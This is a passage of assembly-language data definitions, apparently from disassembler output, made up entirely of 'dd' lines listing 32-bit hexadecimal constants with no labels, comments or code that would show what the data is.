		dd 101C8C60h, 386CFB9Dh, 754674h, 3FAC5474h, 16499A3h
		dd 0E7221862h, 3479F5C7h, 0A8C8A804h, 7F4183A4h, 57904A76h
		dd 0E7075220h, 9678AF5Bh, 0BFB74080h, 0A024B87Eh, 124B8BE9h
		dd 0BA49E3EBh, 63363900h, 0F421D6DBh, 8961341h,	23B42F95h
		dd 5CAA0027h, 0E8FD425Fh, 962B0501h, 55EDBDEEh,	0C8012478h
		dd 0F0947BBBh, 26447053h, 18CBE0A9h, 635F3CB0h,	0F038B4D1h
		dd 40A8CBA1h, 43D6F0E0h, 18FCF93Eh, 6F8932A0h, 8D8107EEh
		dd 8F36A923h, 166A01A5h, 0C8148B98h, 0CFC5C0A6h, 910775E5h
		dd 299D454Dh, 0D4401EF5h, 3B74B99h, 4C1B78C8h, 72E87C67h
		dd 0D16008Ch, 34111C54h, 150090FCh, 8BE0D30Fh, 0A22F599Dh
		dd 11A09D9Ch, 0C6A980F6h, 1C99E9C7h, 18AAAFDBh,	4C122180h
		dd 0B130651Fh, 0E1BBB4C0h, 0A36485AFh, 0AED7C894h, 1D3E0B9Fh
		dd 3CA2B7A0h, 8CA08A12h, 9FA599EEh, 9D457025h, 872F11A4h
		dd 0F46FA76Eh, 854C5068h, 2455992Dh, 2942EA14h,	0A8E88411h
		dd 0F4336DE3h, 0E9B520C6h, 10698909h, 991FDB03h, 0A92C3BBFh
		dd 0E71088B3h, 2AB66302h, 50D516h, 840152h, 5BDDCA93h
		dd 0EE8D9EB6h, 0CFF8091Fh, 0D4E9E53Ch, 0F19A1373h, 642405F5h
		dd 7D9C1590h, 0CB00E465h, 0C297CC13h, 8100E93Eh, 0F533F3A6h
		dd 0D6C1A103h, 235C3A91h, 0B4A4022Eh, 28F8A129h, 98276173h
		dd 11608193h, 9231BF53h, 6E4EE432h, 0D4B60094h,	87FF9682h
		dd 76240246h, 914475E1h, 0FC7A1307h, 3968738Ch,	77B8009Ch
		dd 80100312h, 0C500A513h, 1B840CB5h, 1A41C62Ah,	4090986Ch
		dd 5DD5C440h, 29C02CE3h, 59B4B0B0h, 0A688008Eh,	0B8C470C0h
		dd 1DC02F01h, 0D1F14800h, 0EA484AF9h, 0A50C17D8h, 7C9AC853h
		dd 510F07C0h, 0BC0E3D72h, 8240EB58h, 8E9A17B7h,	23810980h
		dd 0B0FA8A20h, 1D2AEBF8h, 5B0B35Ah, 0A69B6B17h,	4F640088h
		dd 87C27C1Eh, 0A472002Bh, 0F8F3DCDAh, 0BE00E97Dh, 0D7F0E604h
		dd 4812EEEh, 17299CDBh,	0E258B3B6h, 449A3072h, 4B883C07h
		dd 21C20117h, 94A8D085h, 285CDC48h, 0D3E900B0h,	73BC22AFh
		dd 0AAC63049h, 0DA135CB8h, 607BE09h, 74D4021Ah,	688D0FB5h
		dd 0A2C02369h, 735430ADh, 40BB41Eh, 0BB8BE784h,	101CECE4h
		dd 152179D5h, 0AC303B6Bh, 379004Ah, 0DB209F83h,	8D09C18Bh
		dd 225455E3h, 84FA1060h, 36606D98h, 0E123EFFEh,	701134h
		dd 3CFDCE5Bh, 759DF20Bh, 2F295A1Ch, 12E23C0h, 304129DCh
		dd 0AC846926h, 9A200013h, 4C4B3E70h, 0F941514Eh, 188272Ah
		dd 2C4525C0h, 26DB1210h, 8C88088Bh, 6CC106C0h, 319D3BB2h
		dd 0F35C8D0h, 8A1C72FCh, 84588FA9h, 0F2AC72F3h,	72330A2h
		dd 0A49FB909h, 12400082h, 2CE64A24h, 40C472E2h,	0A46E9386h
		dd 0B3C5CE03h, 12EC9D11h, 0A2C8B7E8h, 0D20900ACh, 0E1013510h
		dd 0F15E00F4h, 0DDD8B399h, 3CB16D17h, 0B24372Fh, 0DC00911Ch
		dd 0D597F94Fh, 0A22E7527h, 34CCD94h, 5CE2F512h,	0E5705844h
		dd 0C3001099h, 0FF07F7EBh, 20400EAEh, 0C0202DF3h, 0B682BB5Bh
		dd 0FA113A02h, 0E18CBC0Dh, 0CEC0407Ch, 0BD8B09B9h, 88101AB8h
		dd 8A802605h, 1C624CC0h, 78C71E8h, 0D0C8F59Ch, 0C7E1A0CCh
		dd 0C0CA7BD1h, 8E49B84Dh, 0E38920B8h, 4F465E5Fh, 0D9B40251h
		dd 0A0593FA0h, 2019A779h, 0AB12994Eh, 18317F6Bh, 0B70C1332h
		dd 0A39A5F3Eh, 0A11194h, 0DD5FAFD0h, 0FE727C0h,	91E3F0E2h
		dd 390D82A2h, 85E528C0h, 2028B096h, 85AE0FAh, 59212C09h
		dd 18F671ACh, 79631CD4h, 0FDBE4058h, 0C4A9E372h, 0FC6C9358h
		dd 6C018CACh, 0B856DDE7h, 0B6ECAB66h, 0F2D92F41h, 42862004h
		dd 60B474D2h, 525C76Eh,	17EBBDDEh, 1FBB80D9h, 0E302D70Fh
		dd 3BF89E9Bh, 0D1C0598Bh, 975188Ch, 0D949B62Dh,	546030C2h
		dd 0F5141DE4h, 0BA44D99h, 8E96FCADh, 28AC894h, 97E3E86Ch
		dd 952738C5h, 8273911Ch, 4064756Ah, 69CBA80h, 49D51259h
		dd 3627782Bh, 0C40C4595h, 0F3FE6022h, 0EF2D26DDh, 6B9832F1h
		dd 12FE3030h, 0E2C4E1EDh, 0C859C060h, 13B747FDh, 48D937h
		dd 0B8230948h, 58944ED5h, 0DC94B545h, 7423302Eh, 5A866000h
		dd 7014A932h, 0FC6E53E7h, 5E429F00h, 3060491h, 0DA196105h
		dd 0DCE3457Dh, 60326DE2h, 2DB5CE90h, 20019D41h,	0DCFB07B7h
		dd 18B4D9EDh, 331061A5h, 416D4820h, 0B043D8E3h,	0F400594Eh
		dd 2E550D26h, 79DC91FDh, 5218ADh, 7ABC472Ch, 0FB067FF2h
		dd 0BC24FC4Ch, 0B048CA0h, 0BC78235Eh, 6DE250B8h, 0A9F40429h
		dd 31DBE260h, 11DEB423h, 0DA7B0020h, 709C39DBh,	412EE167h
		dd 0F063BBF4h, 2B046113h, 5CE87434h, 18C24BCh, 0BCF344DCh
		dd 66432580h, 726A0A4Ch, 0B280DC69h, 0EEBCE7BFh, 0A5C800F6h
		dd 223D186Eh, 4398077h,	0C03A2495h, 9FEF510Bh, 806D11F8h
		dd 3907A16Ch, 0F017951Ah, 2A807591h, 0D683E3Bh,	93623600h
		dd 0A7E85ACAh, 886058BDh, 5539D84h, 844733A0h, 0E51388D2h
		dd 0B1F0DFFDh, 0EFE941B4h, 1D074034h, 6091F0Ch,	494061F8h
		dd 5AF99D10h, 0C8188B4Ah, 99C0C38Fh, 0D4C491FAh, 2295CD16h
		dd 38BAE098h, 37023E6Dh, 57D13F19h, 0A144F067h,	1258DC60h
		dd 89BFE112h, 0F07CA8E1h, 0E18CA3BCh, 1F2286DCh, 206B7DACh
		dd 6F13B800h, 1F3536E4h, 41710F2Dh, 0F5C73CBEh,	0CCCFE351h
		dd 11CD1CD8h, 60AA49Ah,	447C61C0h, 0AF4674h, 962057B4h
		dd 2D5A605h, 0B6E48E53h, 9CA02BA1h, 6847706Eh, 0F4E65600h
		dd 9091A705h, 27C6061Bh, 906B7424h, 48213D20h, 7B87ACA3h
		dd 0B9286295h, 8C6DCB81h, 308421A4h, 3B0CB630h,	880F4714h
		dd 5CFC94FCh, 7C0FAE46h, 4F4081ABh, 1C80C03h, 8449A172h
		dd 0C61D000Ch, 545FD092h, 0D2E200FCh, 1386511h,	7D4AEDA0h
		dd 0B6AEDC90h, 310DEE55h, 15A0AB1Ch, 0FC847896h, 17038C75h
		dd 0CA3CF1F9h, 7A788025h, 0B7E90D2Ah, 68786929h, 8EACBC78h
		dd 33A7BD00h, 0C86A3143h, 0E546174Dh, 6D1C80EDh, 0C0C29478h
		dd 0C86911B7h, 55A67DCh, 9CE1DA04h, 0F28CB25Eh,	986630AFh
		dd 1A302900h, 20E86B76h, 8DCD2DBCh, 61973841h, 2C6E3EE4h
		dd 5BBEAA02h, 0D3E272B9h, 2EF8DC20h, 0C2014985h, 2F2BD1Ah
		dd 608F526Bh, 9DC1590h,	230219FDh, 5AE0B90Bh, 94959EB1h
		dd 0CFEE122Ch, 1470B0A5h, 243AD84Fh, 5B002023h,	32E8A1EFh
		dd 161F0191h, 0D7F16B3Bh, 0AC6AFE52h, 20793851h, 3200F918h
		dd 522DD739h, 9F214BB5h, 498384B7h, 1D9EE498h, 0B0206F9h
		dd 60E02DEDh, 9460BB8Ah, 50A1C31h, 0D1F00FD8h, 90F30E5h
		dd 0C01DEE89h, 0C09CAC11h, 95729261h, 4B25545Bh, 9768C813h
		dd 89370051h, 0AB57C6B6h, 6C11614Eh, 9B009388h,	113A91CFh
		dd 8CB48CD9h, 59A1888h,	0A1987D0Fh, 0D9AEC3F0h,	79BC3401h
		dd 9148A8D6h, 4F90D820h, 8649AB6h, 218A6E1Dh, 1822D1FCh
		dd 66600CAh, 29B621ABh,	0C4B19D55h, 0F11874F1h,	3EC911Ch
		dd 8605541Ch, 40A4013Eh
		dd 6FC2000Ch, 9A7FCBBFh, 0BC3E6BBBh, 0BEF96077h, 0B670F45Ah
		dd 48D49180h, 8C6CE84Ch, 75E13905h, 9C01AD74h, 0AA0D49BDh
		dd 8A18A840h, 0E0DE55BEh, 58B8002Dh, 80647358h,	0D991D129h
		dd 0E5E800C5h, 0CEC9AD68h, 6C0F7AAAh, 29EC835Dh, 0A604D177h
		dd 4C110864h, 3201E802h, 0A90C843Bh, 0AD9D5041h, 48FC2109h
		dd 35B7210Ch, 0E0AC805Ch, 0A5F51DA1h, 84A42F58h, 72097D49h
		dd 67701C7Ah, 0C0903D4Ah, 981DDF82h, 9D4537E9h,	4C80C951h
		dd 19B0D70Eh, 30D5F514h, 67E91128h, 88991F22h, 80869000h
		dd 7C9A7B15h, 22170939h, 14F16FB7h, 78BD3500h, 53C3B8h
		dd 66A28270h, 0EFFE98C0h, 4871E802h, 841C5701h,	2E3505DCh
		dd 1A123E4h, 8A4C27FEh,	0B43DBDh, 39BA99F1h, 4B0D172Ch
		dd 0B38C8088h, 81958129h, 2BA1A84Ch, 0C4319C10h, 67629700h
		dd 7C2C3525h, 0DFAE0478h, 0F9D6B75Eh, 7C9A5A04h, 756A9DC1h
		dd 291460D7h, 0D9015109h, 6488C73Eh, 0A1B560F2h, 52677152h
		dd 6004EC03h, 0CE98C8E9h, 0C0258814h, 53B0AC74h, 2C8A5600h
		dd 0E5F80724h, 98FCA371h, 4F29CE88h, 8BF00416h,	0B8CE85E3h
		dd 8FB60798h, 0FCA46D67h, 0AFE244A2h, 1742E933h, 9462C0C3h
		dd 83792D8Eh, 0DC7A0C92h, 396E5A05h, 0E8A15FE3h, 0DAC2985Bh
		dd 0D5029959h, 23D0124h, 0BCAC6C74h, 0E8008C75h, 443BB3D1h
		dd 759DA447h, 0E2E612F3h, 0B024B6FCh, 30CD9458h, 0C8985609h
		dd 74BE7D99h, 0A2F48380h, 5BC9EFh, 6275F52Eh, 3096A8C4h
		dd 85DD3D3Ah, 0E5986CC8h, 96BF9C33h, 649F861h, 2F65FA3Dh
		dd 742F8836h, 0C0684DFFh, 8C2ACF49h, 84BEBCF4h,	0A967728Dh
		dd 1FE827E1h, 293E0082h, 0FA8EE738h, 1173FA8h, 0F0A28B17h
		dd 25172C48h, 40F0A760h, 649085F8h, 68F74B79h, 283E17E8h
		dd 8BBC5C49h, 58787302h, 0D8008EC8h, 0E3E7DF30h, 98AA6055h
		dd 0F4A4B708h, 84005283h, 0F0EEF83Fh, 0A2D33DD6h, 95B0CE09h
		dd 26C4D4C5h, 0E2359560h, 50005670h, 91678A28h,	0E4F8DE15h
		dd 0A764B64Ch, 1C600C1h, 743857B5h, 198C6CBCh, 0B06DB8F4h
		dd 181832E7h, 0F0912CA0h, 0EE9A00CCh, 0D8C7CDF3h, 75003C3Dh
		dd 0B18C29ADh, 0B0EA5625h, 0BECC20ACh, 4BB4FB48h, 0F4C8C8CBh
		dd 0E64B21CFh, 0B2ECB3ABh, 4A6A05BEh, 0EC0D19B4h, 0E8E4D048h
		dd 26018CA1h, 0AF81EDF5h, 497B73E9h, 0ACD2A060h, 8E653E38h
		dd 400926C8h, 0B6AFC0D1h, 0EF41E443h, 0B7171868h, 8184DB30h
		dd 30BF03A7h, 0BDEBB2E8h, 34E5C009h, 6560AEE4h,	0AB01470Bh
		dd 0E43C6CD1h, 0E2DA7CE3h, 0C40C67FCh, 47DB60F1h, 0DC800974h
		dd 7402C923h, 0C8D89A91h, 338B7B7h, 0C93153ECh,	743DC7E1h
		dd 86BDCC04h, 12D16B40h, 5B1E4F1h, 168D0967h, 22F0F2B0h
		dd 24B0E065h, 4BF81D21h, 30ADE47Ah, 0BD8950E0h,	37B839C4h
		dd 0F5483C8Bh, 0FDB1EC02h, 50B2D70Eh, 8A30F4F2h, 25E500ADh
		dd 80EC1DACh, 2A246B82h, 0E140D416h, 80A7A805h,	6DF05455h
		dd 5081604Bh, 1DAC747h,	0B8E99E98h, 1A01759h, 5E72FC46h
		dd 79C0B949h, 7E181870h, 775324E7h, 0A00C08D4h,	1D4AB50Bh
		dd 806E1160h, 0B62D986Ah, 0B0E33E57h, 72F1C80h,	1DDFF50Eh
		dd 0CD5C2097h, 97EC6583h, 9C02B0B7h, 56D81FA4h,	0F1465E1Ch
		dd 23788000h, 0DD74CCFEh, 81E5BD09h, 181C0155h,	186889F8h
		dd 921F5B13h, 0D929CD9Ch, 18F17928h, 0A7AE0070h, 0BDA8E347h
		dd 282C0E15h, 9B0DA744h, 3B2F70B0h, 0A223E0h, 91E6D0A4h
		dd 49137343h, 0D4C22874h, 4930F639h, 0B9304C83h, 9C6A195Ah
		dd 0C1007323h, 7CD92B17h, 0FCD8FE2Eh, 0AB9302CFh, 29D19D1Dh
		dd 70BC80E8h, 17E57B2Fh, 80229144h, 0B2EAD580h,	482A16ABh
		dd 6688C20Ah, 0A3D910D1h, 1A00F018h, 15B5D2DEh,	2E3D4C27h
		dd 0D1848B8h, 235841D9h, 30A3A2B8h, 4012E39h, 0D5BC2607h
		dd 80503225h, 0F80E34FAh, 304953C0h, 6B30A6B2h,	1A90BEDh
		dd 9050FDF8h, 0E8E4E858h, 0EFFA8C6Eh, 41B5CC0Bh, 61804019h
		dd 0CC4C590Ch, 29A9F900h, 0E09B9C36h, 0C4A312EFh, 0B2910054h
		dd 0CFADBFE8h, 62E6418Fh, 0D3F35Ch, 7513FED0h, 19F6F4h
		dd 0E9717CF2h, 3BB7E464h, 833D142Dh, 0A02E1564h, 0B6D09A8h
		dd 68BDF806h, 0A3828CD2h, 2D4448D8h, 8AB50741h,	0C0DE40E8h
		dd 0B61C3C4Eh, 28FE9307h, 1B4112EEh, 49E859E3h,	9C8F5A91h
		dd 0B4C2908h, 1C55C6B0h, 9D0F5AE9h, 508A2A10h, 2CC7F2C8h
		dd 87D664B3h, 484119ACh, 0C2008311h, 0D88F7EB2h, 15096185h
		dd 0C437E463h, 27A1005Ch, 0ED573872h, 0D32C0A7Ch, 7500FFABh
		dd 7776B3BEh, 59DA4899h, 0AC4B2F01h, 50B73F01h,	43CB1220h
		dd 4811E401h, 7BEF1905h, 1EEB6CECh, 4B5B3E2h, 0B81C1F29h
		dd 15288464h, 0E4021880h, 503B5C0Dh, 80D89B4Fh,	83E6B989h
		dd 58040737h, 0E4887C93h, 8CE3B1h, 0E5E29DAAh, 778C311Dh
		dd 0D1009945h, 0CB1824h, 5884C1A0h, 0A2994913h,	0B0530FAh
		dd 1D4ABDEDh, 0F623DC3Ah, 95232800h, 26DB6DF0h,	88C7E13h
		dd 0F81C96CCh, 8FCAD29Eh, 1E009C1Ah, 0B538A824h, 8EB95A51h
		dd 0CF208818h, 0D90F962h, 0E59854C1h, 44A312F0h, 2E360074h
		dd 75F9580Ah, 6F00A40Fh, 3E25B901h, 0BFD55191h,	40C90778h
		dd 2D681073h, 0F3271937h, 0CA8DEEBEh, 1C6104D4h, 0B6B51CDh
		dd 686404BCh, 0EC789C93h, 13173D19h, 0AC2B8B12h, 102C8010h
		dd 4BC5068h, 7DFBABD7h,	84E8FC88h, 0ACFC19A0h, 98C2BE1h
		dd 2F88A80Bh, 0AAAC8FC3h, 0BB84A06Ah, 708677h, 2F7BFFE2h
		dd 445FEDD1h, 8FBDFA00h, 55D6060Eh, 84295F46h, 0F2C0F868h
		dd 0E45929E7h, 8A187079h, 0D9C8E401h, 3F1D6783h, 4B90B180h
		dd 48299853h, 0D8071205h, 0ACF06E09h, 0AF90B4E4h, 0D371CD8h
		dd 7189CCF3h, 186EF1ACh, 2ABFFCEBh, 0B89C13h, 0CD28B525h
		dd 0B443BA19h, 5A831E00h, 8A2F045Dh, 339F0598h,	0A52ABF8Bh
		dd 486B2F90h, 195D950Ch, 0ED0250C8h, 2541B617h,	38A155FEh
		dd 845827Eh, 0F9A4B9CFh, 1B918F4h, 0BFB12FCCh, 0F40E2E48h
		dd 4118B475h, 11708EF5h, 0B56D7BA1h, 9600483Dh,	426E5BBCh
		dd 0DF091478h, 3B37601Dh, 0D1464129h, 17097FAh,	20634B4h
		dd 0DF9D5339h, 0D444B903h, 0B0202BF9h, 5C1749h,	5D7137BBh
		dd 0E5827CE9h, 29B87525h, 0F12284B8h, 39FF5490h, 9B172D88h
		dd 0FEC054CDh, 0ECDD5A4h, 0A8B9430Bh, 0E6986C42h, 0A3488864h
		dd 4D3380ACh, 7EC9C5C1h, 0B9C0EF26h, 0AE7A000Eh, 31F38F5h
		dd 1E16EC9Bh, 0E913F099h, 2FC8588Bh, 0D4894AC2h, 80AC0800h
		dd 452A044h, 19D78C4h, 0E66D463Dh, 0B0A38445h, 20142912h
		dd 15A6788h, 0CEA81A00h, 57A31CF8h, 49980740h, 9DB6331h
		dd 0C300F4D2h, 3FD90A71h, 378AD1Ah, 0E931E3C8h,	0E1E07A05h
		dd 0A300ED92h, 9D9C5BD5h, 0B98CD60h, 3F2D011Ah,	0F364A0C7h
		dd 0F6ACD960h, 90409227h, 0E6A16D94h, 0D40D00F2h, 5C87E362h
		dd 57EA83E7h, 5E0F000h,	8BBD183Ah, 79D499FCh, 61518A0h
		dd 4C3B1C09h, 0A0804616h, 2091293Ch, 0F41821D1h, 0D01A4001h
		dd 1C45BFE1h, 4ACE5C34h, 0F2D4F2B0h, 80C73023h,	9C76F800h
		dd 0A9E3F16Ch, 742BB5C5h, 0E5C1ECEDh, 38DB1Fh, 1F8CF2BCh
		dd 9260FA39h, 588CF811h, 0E7CBC7E4h, 53DBFD91h,	0DE84DCh
		dd 44DDC807h, 8F01FA29h, 88E588h, 0AD038C50h, 3C67BF83h
		dd 4FE0C400h, 0CEE3767Eh, 0B60800D6h, 0D7740222h, 623C876Ch
		dd 6F902A4h, 7EE2E655h
		dd 0AC465E00h, 1280323Bh, 0B0017833h, 4914B406h, 39F883F5h
		dd 0D0DCA541h, 48AD0020h, 0AF5962F7h, 954A0FA8h, 0C1DDF49Ah
		dd 34CD488h, 0F0C470B6h, 0C089289Ch, 9534CE96h,	134B60E6h
		dd 0F8323C90h, 0C9400CFh, 5B25734Dh, 0A5493B04h, 0B8849078h
		dd 6008CAFh, 3001B611h,	262E714h, 466A492Ah, 0E0E304A6h
		dd 804AFCDAh, 0EB5948DBh, 0F4F699CCh, 0CF8A44BAh, 0F34804B5h
		dd 23A83A56h, 906100AFh, 0ACCD53FEh, 941F1A00h,	2A93E3F0h
		dd 0CB305A41h, 0C0F7C850h, 0BF4C44Ah, 0FAE43503h, 0B6A05D32h
		dd 520600D1h, 0BC48CD05h, 892F0360h, 0E5849202h, 60F3E4A4h
		dd 1DD7DFB3h, 5BB4E0h, 0B5F770E8h, 0D03E157h, 62AACB0h
		dd 6A04E1C1h, 3D555C1h,	20020EC3h, 8940C35Dh, 8104246Ch
		dd 17084466h, 55450121h, 2ED4E2C3h, 28EEFCB4h, 23D26F06h
		dd 1250BE9h, 707B7D4Bh,	0DC6BB8E0h, 2B0CD1C0h, 70E2F766h
		dd 5B398C53h, 5C8911C3h, 43801588h, 0B095C353h,	0D82B03F5h
		dd 11298D01h, 4E58C232h, 0C35A3052h, 544689E4h,	421F1422h
		dd 4A31C352h, 1DD880Fh,	504818B2h, 0E4C35830h, 22444689h
		dd 5040001Bh, 0B8D9FAC3h, 6706F2BAh, 7B97BBCh, 6E93021h
		dd 9BBE9A0Bh, 16E33406h, 466DC183h, 0C3591C51h,	814C898Ah
		dd 18514170h, 0FC728BC3h, 3B801905h, 860F19D9h,	0F98927F1h
		dd 1C1FE72Dh, 68F28C66h, 0C35E3056h, 745389E4h,	5646808Eh
		dd 60E86AC3h, 0B871308h, 72002CE7h, 5EAD12EAh, 1504C1F6h
		dd 75A7840Fh, 66819280h, 0CA062532h, 186D95FFh,	44D2878Eh
		dd 0BB76017h, 0FB01F37h, 661BB082h, 330316BEh, 195095Bh
		dd 2B60141Bh, 14E8E0C3h, 0B30068Ch, 482919B5h, 0FB343D34h
		dd 8637AC08h, 0D3FE9F5h, 14445EA7h, 85899A60h, 660EF931h
		dd 1F800AE9h, 86FF56CEh, 0F039D23h, 8B380D63h, 9081B2C0h
		dd 378529AAh, 0E93A075Dh, 6FD80305h, 893A03ECh,	0E25459Dh
		dd 3D85C74Ch, 37390C98h, 0A65B8B24h, 898706DEh,	0A5327995h
		dd 0E224C052h, 1D803215h, 3FBB70Fh, 9D39BD33h, 23A9B189h
		dd 8810C9Fh, 0D01224FDh, 850FB542h, 59BF2311h, 0FF63BBC0h
		dd 8B1540F7h, 1592A1B5h, 1857DBF9h, 0E1C1B04Bh,	70224890h
		dd 88343910h, 0C35FC357h, 4E7C8991h, 5747059Ch,	558208C3h
		dd 9C8A011h, 812155B5h,	0A2113390h, 0C1413214h,	0ABBA1008h
		dd 1F63F6EAh, 698AF26Fh, 0A8440093h, 0C8F5F839h, 5EE56C00h
		dd 2EC5D069h, 647F075Bh, 30F781C1h, 664CD78Ah, 12F98B2Ch
		dd 1B4674h, 0D90C0939h,	99F1D0Ah, 65B589FAh, 889142Ah
		dd 60140819h, 36910F3h,	40A2E926h, 0CD20453Ch, 0DEC2F102h
		dd 49999D8Bh, 0F7DD610Bh, 66E24331h, 1FA5357Fh,	23D33A1Eh
		dd 0EB610018h, 0BFD357D0h, 0F3F74528h, 51CDD181h, 800EE9CBh
		dd 0AB0B1B31h, 1D95D05h, 5FE74499h, 0CAA6AFEFh,	1544CE47h
		dd 0FCC8F60h, 17058A30h, 12C4C5BEh, 452367Fh, 199160h
		dd 0F725E95Fh, 9620E3FFh, 0C12FF0F2h, 4D905C35h, 19DC22Eh
		dd 45E943h, 89D3159Fh, 0A4CA37EFh, 0B1520A00h, 976F27C1h
		dd 8F4700E1h, 8965FF75h, 0C9003BBFh, 0AC5911ABh, 7830CAh
		dd 9951EB6Fh, 876D0769h, 0BC796E01h, 3289D80h, 0AB3E9EDDh
		dd 0D3A18541h, 0EFC48139h, 55AD0005h, 28D9311Bh, 0F7007989h
		dd 7E6937E6h, 0E88FE51Fh, 0FE5376B0h, 0CAE01CEh, 0B1BF4319h
		dd 70AA3E17h, 0E84D4227h, 0C00E7C6Fh, 0B82F6D64h, 0FF084EA2h
		dd 84818AC0h, 6ACCF1F2h, 46A10377h, 13E17A14h, 4F8DD0DFh
		dd 0E00BDB3h, 0C7B1C540h, 61887D2Ch, 0A71263ADh, 35867FB0h
		dd 446B0113h, 0FDE78F76h, 588A7062h, 0E5E6C1Eh,	0B564D240h
		dd 0C07175C0h, 5B0B4A2Ch, 0C90140ACh, 8FF10B7h,	0C55253F7h
		dd 3C91912Fh, 0A86280F6h, 7A8E2BDAh, 4EE0077h, 5F527269h
		dd 65C65773h, 4E430179h, 32CCFFB1h, 0F1C00041h,	66506113h
		dd 7B00F30Eh, 0EECD3991h, 4F6018h, 0D6A44565h, 0C634830h
		dd 0A6FFFE00h, 5A7A717Bh, 70913D67h, 56AC6400h,	37AE801Ah
		dd 0BDA7CD00h, 0E8D29C65h, 5F710C90h, 0ECB3CB6Ah, 86708100h
		dd 24DED32Eh, 623B4C4Ch, 0ADC6B900h, 0D6AC9FA9h, 0F4E846FEh
		dd 0B3620E00h, 5E551FE5h, 0E857FC04h, 0EE1300A8h, 2D856F80h
		dd 0B1039BD5h, 0AF40516h, 22D1E1AFh, 0C15708F1h, 0E64F4491h
		dd 6ED98180h, 78645777h, 91086228h, 0FEB28026h,	0B51C2D0Fh
		dd 65A97896h, 58D7C09Eh, 8EEEAE2Eh, 6C8C7603h, 301D0CAh
		dd 4520FD71h, 1E8105BBh, 40BDAD7Ah, 7FF90D9Eh, 0A063A95h
		dd 0B9AF2B17h, 4E330070h, 843D3EE4h, 71009218h,	6B7C1701h
		dd 0C8506374h, 0EA009B83h, 0D8735DFDh, 0AADD4FC7h, 33C387C0h
		dd 80FF9D40h, 0A7566E94h, 0F38360B2h, 94D2C934h, 0DE586D60h
		dd 681F510h, 0A005FC97h, 5B00279Ah, 88E0CAA8h, 12CFA7Eh
		dd 25B39DD9h, 0D452281Bh, 0BF04B2C3h, 12B8A497h, 10BE2692h
		dd 0CC2737F6h, 0F2607FA6h, 1D0014AFh, 1C976BC3h, 5132D0E9h
		dd 0AED0A93Eh, 0CBA10094h, 7A03A38h, 0D2546358h, 7A07E5C8h
		dd 0AFF84D83h, 0F93F0B03h, 0F7C02445h, 0A8330502h, 80842899h
		dd 3CC61E1Ah, 0A0853400h, 5315DCB0h, 0F9F0143Eh, 0F80681EFh
		dd 32CF3203h, 251A850Dh, 0C0FA0F10h, 0CFB072Ah,	2F0C8B75h
		dd 4100D119h, 0E68A784Eh, 6E944Ch, 0FADF1802h, 6745DBF4h
		dd 857CDD00h, 0CBB5BB47h, 98BCA83Dh, 703E00D8h,	0D911C05Ah
		dd 8DA93676h, 46AA3EAEh, 0CC59ED3Fh, 0B0200500h, 61EB15F3h
		dd 3A2FFE98h, 0BC00DAC4h, 0EF59B08h, 3E7035A7h,	649A0201h
		dd 0FEA355DDh, 0CA02420h, 0EE39FCF1h, 13007EB2h, 0A85A121Ch
		dd 16A5DEC8h, 1482ED7h,	748ECC37h, 4BBAFCFCh, 9D988D18h
		dd 9B72237h, 9E64BCA6h,	0D80CB0Fh, 0F3FD011Ah, 0D8032AE0h
		dd 9A30FE98h, 28D0007Eh, 0B5445643h, 84B05062h,	0FD4D192Ah
		dd 0E63F5118h, 0DCF95Ah, 0A35D9083h, 66154E38h,	73C2B714h
		dd 44A203EEh, 7E51E4D9h, 4FB0C0Fh, 8911969Fh, 3E0CFF03h
		dd 0A0ED9CE5h, 0C07BEC49h, 7168D31Ah, 78015D52h, 3FDD9082h
		dd 0C603AD4h, 4F460C14h, 948F7E1Dh, 3714C67Fh, 80BDE840h
		dd 0E58F7543h, 198914EEh, 0FF4EC274h, 578054C7h, 0FD05BDh
		dd 0ACDFC473h, 5DD8CDCBh, 289A4000h, 7012F762h,	160D0215h
		dd 0F6833DBCh, 2F52948h, 9AD62C1Ch, 0B2FB5000h,	5CE3503h
		dd 511FBAA4h, 3FEB0096h, 0AC7A2948h, 341E5A00h,	923DA299h
		dd 2A6B0EF9h, 0A80FEA55h, 0E06716C7h, 0BB150C4Eh, 801D373Fh
		dd 0FBE075Ch, 0C0F8B51Ah, 710B76B8h, 341829D8h,	0B68AF701h
		dd 0FC54244Bh, 0AFB58FBh, 0E7826C00h, 7E65BAF0h, 21AC6089h
		dd 0E897A813h, 0EFCD1A06h, 38193BFAh, 91E117Ch,	956D40EAh
		dd 507FE4DBh, 24418000h, 2AD988F3h, 0D764E135h,	554C01B7h
		dd 115FA3FBh, 0F3303077h, 0FA127498h, 9200C503h, 0E8FFCA49h
		dd 0B82CFC3Ah, 2D4700A7h, 6C231636h, 26F8689Eh,	560094F8h
		dd 79FF07ACh, 0ECBB208Fh, 39F5000Ah, 7C162738h,	32003EC4h
		dd 56DFD483h, 2E50BCB2h, 18CFE69h, 0B3268D02h, 0A4FCF44Dh
		dd 2C166201h, 58422ED4h, 7105C0h, 0D2C56787h, 0B2A5BFB9h
		dd 4A26DC00h, 736817B0h, 0BD3900C2h, 938AF550h,	2B8AD55h
		dd 2F0F8D24h, 9907CB96h, 7491F97Dh, 62825EA6h, 0FB539A91h
		dd 57C7FE77h, 5A545287h, 0EA32C2C4h, 5C241401h,	77129842h
		dd 509DBDFEh, 1705E00Ah
		dd 3D052D14h, 89326387h, 0BF57A034h, 792EFC22h,	0BAF94F06h
		dd 0F45481DCh, 0AA634h,	45B85051h, 29423C6Ch, 58015D94h
		dd 8108468Fh, 0D30F06A0h, 0CEE2BF3Eh, 7F278388h, 0B602CBCBh
		dd 81E38953h, 61388C3h,	131C8743h, 0CFE92Ch, 98DAFF63h
		dd 3F0039B9h, 8CBD739Dh, 1A1E6F7Fh, 0D408D0B8h,	0D5FC77h
		dd 6537B651h, 0BE0F5FD3h, 0C1885A31h, 8557506Eh, 547DD0h
		dd 0F262360Bh, 0C8D76FCDh, 3564A00h, 7015675Dh,	78A20012h
		dd 3AEB71F8h, 9602D3F2h, 13E22D23h, 68C2C017h, 9F8F0057h
		dd 76F008ADh, 8B04795Ch, 0DDB503C1h, 0D3EBD4A0h, 0C82DCECFh
		dd 0D06AC717h, 81669FE7h, 8E94EE03h, 11858Dh, 72BE5061h
		dd 89688BD5h, 280DF5A3h, 709A1DCFh, 1CBC492Ch, 100F008Ch
		dd 0A6C8AFF1h, 41048B22h, 34BD9589h, 4F31A4E4h,	0BEE95F28h
		dd 0A60CF9A7h, 0B513D9Ch, 0DF8A80C6h, 0BF0F419Eh, 0C08313F1h
		dd 0C8B78B05h, 0B0AEC71Bh, 435BD272h, 0F56AD09h, 5F96B87h
		dd 417DA4F0h, 0C4880130h, 14762F33h, 1723813Ah,	2D7EED03h
